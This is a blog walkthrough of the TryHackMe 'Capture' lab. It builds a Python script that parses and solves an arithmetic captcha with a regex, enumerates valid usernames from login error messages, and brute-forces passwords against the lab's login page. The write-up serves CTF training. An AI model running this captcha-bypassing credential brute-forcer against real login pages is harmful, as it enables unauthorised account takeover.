Capture — tryhackme

Penthos
9 min readMay 7, 2023

A walkthrough for the room: https://tryhackme.com/room/capture

For this room, first off grab the supporting files!

Click the “Download Task Files”, and you will get a list of usernames and passwords

Now let's start the application and load up the main page to see what's going on.

Loading up the main website http://MACHINE_IP, we can see an “Intranet login” page.

With the passwords and usernames list we have it's safe to assume this will be a brute force attack.

Let's first work out a valid username for our brute-force attempt. We can do this easily with Python3 and the requests library.

First, we should test the login manually and look for anything to help us later on.

I tested the usual `admin:12345` login, which showed that the admin user does not exist. This will be helpful in finding a valid user. If the message is missing from the request we can assume the user is valid.

Testing the same request a few more times I got a Captcha Enabled message showing up with a Captcha to solve.

So we're going to need to solve this before sending off any request, question is how?

The best way to get any content from text is by using Regex. In text, a regular expression is a pattern of characters used to identify matches. These patterns are typically utilized by algorithms that search for strings, perform string replacement operations, or validate input.

If we view the source code of the webpage we can build a regex match for the equation to solve.

Source code

Using a site called Pyrex (or any online regex builder) we can build the regex to parse the equation from the page.

regex_pattern=r"(\d+)\s*([+\-*\/])\s*(\d+)\s*\="

Let’s break this down to understand what's going on.

regex_pattern # this is just the python variable name
=r”( # the `r` before a string value, denotes a raw string in python
\d # regex, match any digit
\s # regex, match any space
() # parentheses, denote a capture group
+ # quantifier, 1 or more after
* # quantifier, 0 or more
[abc] # match any of a,b,c

So we have three capture groups in the regex,
First number "(\d+)"
Operator "([+\-*\/)"
Second number "(\d+)"


Full Break Down

r"(\d+)\s*([+\-*\/])\s*(\d+)\s*\="

(\d+) # match any digits eg: 123 (capture group 1)
\s* # match any whitespace
([+\-*\/]) # match either +,-,*,\ (some charaters need to be escaped with `\`)
# (capture group 2)

\s* # match any whitespace
(\d+) # match any digits eg: 123 (capture group 3)
\s* # match any whitespace
\= # match `=` specifically (just to make sure I get the proper match from the page)

Let's build the Python script to brute force the login. We’ll need to read the usernames and passwords in a loop and also correctly guess any captcha.

First, let's test if we can work out the correct captcha.

Open Vscode or an Editor of your choice and make a new Python file.

I choose to make sure the regex was working with a really simple check.

We can see the output matched.

<re.Match object; span=(16, 27), match=’134 + 116 =’>

We can access the individual parts from the groups we made in the regex now.

Excellent. Now we can move on to making a function to work out the equations, its simple math so I’ll use a switch-case style to work out the equation based on the operator (+,-,*,/)

I ended up with the function below.

def get_captcha(firstNumber, secondNumber, operator):
# make sure our numbers are integers and not strings.
firstNumber = int(firstNumber)
secondNumber = int(secondNumber)
# Work out the math expression
if operator == '+':
return firstNumber + secondNumber
elif operator == '-':
return firstNumber - secondNumber
elif operator == '*':
return firstNumber * secondNumber
elif operator == '/':
return firstNumber / secondNumber

Nice!, Now we can move on to making the request parts and trying to find the user name.

Username Brute Force

So let’s read the usernames one by one and try to find the right user.

We can capture the login requests in the burp suite community to see how they are being sent.

Start burp suite and captcha the login request as shown below.

Login page
Burp suite request

Based on the request we can see it's a POST request sending some data, namely username, password, and captcha.

Knowing this info we can build the post request. A basic python3 post request can be seen below, but we can edit it to our needs.

Source: https://requests.readthedocs.io/en/latest/user/quickstart/

Basic python3 post request

Post Request POST test

import requests

# target url
URL="http://10.10.15.167/login"
# make a session
s = requests.Session()

# data payload to send to the server
payload = {
"username":"admin",
"password":"admin"
}

# make the request
r = s.post(URL, data=payload, verify=False)

#get the response
print(r.status_code)
print(r.text)

On my first test, I got the message Captcha enabled.

We will need to handle the captcha and then send the correct guess. We should send one post request to get the captcha, then a second with the correct guess.

Let’s update the code to test.

import requests
import re

def get_captcha(firstNumber, secondNumber, operator):
# make sure our numbers are integers and not strings.
firstNumber = int(firstNumber)
secondNumber = int(secondNumber)
# Work out the math expression
if operator == '+':
return firstNumber + secondNumber
elif operator == '-':
return firstNumber - secondNumber
elif operator == '*':
return firstNumber * secondNumber
elif operator == '/':
return firstNumber / secondNumber

# target url
URL="http://10.10.15.167/login"
# our regex pattern
regex_pattern = r"(\d+)\s*([+\-*\/])\s*(\d+)\s*\="
# make a session
s = requests.Session()

# data payload to send to the server
payload = {
"username":"admin",
"password":"admin"
}

# make the request
r = s.post(URL, data=payload, verify=False)
# check the response for Captcha enabled message and get the math from the page
if "Captcha enabled" in r.text:
# now we need to get the math from the page
res = re.search(regex_pattern, r.text)
first_number = res.group(1)
operator = res.group(2)
second_number = res.group(3)
result = get_captcha(first_number, second_number, operator)
# resend the POST request with the new payload
payload = {
"username":"admin",
"password":"admin",
"captcha": result
}
r = s.post(URL, data=payload, verify=False)
#get the response
print(r.status_code)
print(r.text)

#get the response
print(r.status_code)
print(r.text)

Now when we try and send the request. We see a new response.

The user does not exist

It's time to now read the usernames.txt file line by line and update the username in the script, we should also now move the POST request parts into a reusable function to cut down on code reuse. We should match the other message we received earlier to work out the valid user.

Updated script

import requests
import re

def get_captcha(firstNumber, secondNumber, operator):
# make sure our numbers are integers and not strings.
firstNumber = int(firstNumber)
secondNumber = int(secondNumber)
# Work out the math expression
if operator == '+':
return firstNumber + secondNumber
elif operator == '-':
return firstNumber - secondNumber
elif operator == '*':
return firstNumber * secondNumber
elif operator == '/':
return firstNumber / secondNumber

def brute_force(url, username, password):
# make a session
s = requests.Session()
# data payload to send to the server
payload = {
"username":f"{username}",
"password":f"{password}"
}
# make the request
r = s.post(url, data=payload, verify=False)
# check the response for Captcha enabled message and get the math from the page
if "Captcha enabled" in r.text:
# our regex pattern
regex_pattern = r"(\d+)\s*([+\-*\/])\s*(\d+)\s*\="
# now we need to get the math from the page
res = re.search(regex_pattern, r.text)
first_number = res.group(1)
operator = res.group(2)
second_number = res.group(3)
result = get_captcha(first_number, second_number, operator)
# resend the POST request with the new payload
payload = {
"username":f"{username}",
"password":f"{password}",
"captcha": result
}
r = s.post(url, data=payload, verify=False)
#get the response
if "The user" in r.text and "does not exist" in r.text:
pass
else:
return username
# Ignore the other reques for now
return None


def main():
# target url
URL="http://10.10.15.167/login"

# static password for testing
password = "admin"

# read a file line by line
with open("usernames.txt", "r") as f:
usernames = f.readlines()
# strip chars like \n from the strings
usernames = [x.strip() for x in usernames]
# loop the usernames and find the user.
for username in usernames:
result = brute_force(URL, username, password)
if result != None:
print(result)
exit(0)


if __name__ == "__main__":
main()

After running the script now, we get a valid username returned!

Next, time to guess the password. This time we only need to read the passwords file and update the password variable, we can now also remove the usernames and set it in code to the one we found.

Testing the request in Burp again I noticed that there was a new message returned.

><strong>Error:</strong> Invalid password for user &#39;USERNAME&#39;\n    \n      </div>\n\n<

Based on this message. If the message is NOT in the response we can assume we have a valid login.

Let's update the script to reflect all the changes so far.

import requests
import re

def get_captcha(firstNumber, secondNumber, operator):
# make sure our numbers are integers and not strings.
firstNumber = int(firstNumber)
secondNumber = int(secondNumber)
# Work out the math expression
if operator == '+':
return firstNumber + secondNumber
elif operator == '-':
return firstNumber - secondNumber
elif operator == '*':
return firstNumber * secondNumber
elif operator == '/':
return firstNumber / secondNumber

def brute_force(url, username, password):
# make a session
s = requests.Session()
# data payload to send to the server
payload = {
"username":f"{username}",
"password":f"{password}"
}
# make the request
r = s.post(url, data=payload, verify=False)
# check the response for Captcha enabled message and get the math from the page
if "Captcha enabled" in r.text:
# our regex pattern
regex_pattern = r"(\d+)\s*([+\-*\/])\s*(\d+)\s*\="
# now we need to get the math from the page
res = re.search(regex_pattern, r.text)
first_number = res.group(1)
operator = res.group(2)
second_number = res.group(3)
result = get_captcha(first_number, second_number, operator)
# resend the POST request with the new payload
payload = {
"username":f"{username}",
"password":f"{password}",
"captcha": result
}
r = s.post(url, data=payload, verify=False)
#get the response
if "The user" in r.text and "does not exist" in r.text:
pass
elif not "Invalid password" in r.text:
return (username, password)
# Ignore the other reques for now
return None


def main():
# target url
URL="http://10.10.15.167/login"

# read a file line by line
with open("passwords.txt", "r") as f:
passwords = f.readlines()
# strip chars like \n from the strings
passwords = [x.strip() for x in passwords]
# loop the password and find the login details.
for password in passwords:
res = brute_force(URL, "USERNAME_GOES_HERE", password)
if res != None:
print(f"Username: {res[0]}\nPassword: {res[1]}\n")
exit(0)


if __name__ == "__main__":
main()

Now after we run the script we can get the login details!

The results are there, but you’ll have to find them yourself!
After you get them, log in to the website to complete the challenge.

What a great room!
The script can be improved massively with error handling etc, but for our hacker needs it does the job.

Thanks for reading!

Shout out to the developer to
https://tryhackme.com/p/toxicat0r

I got 3rd on this room :)

--

--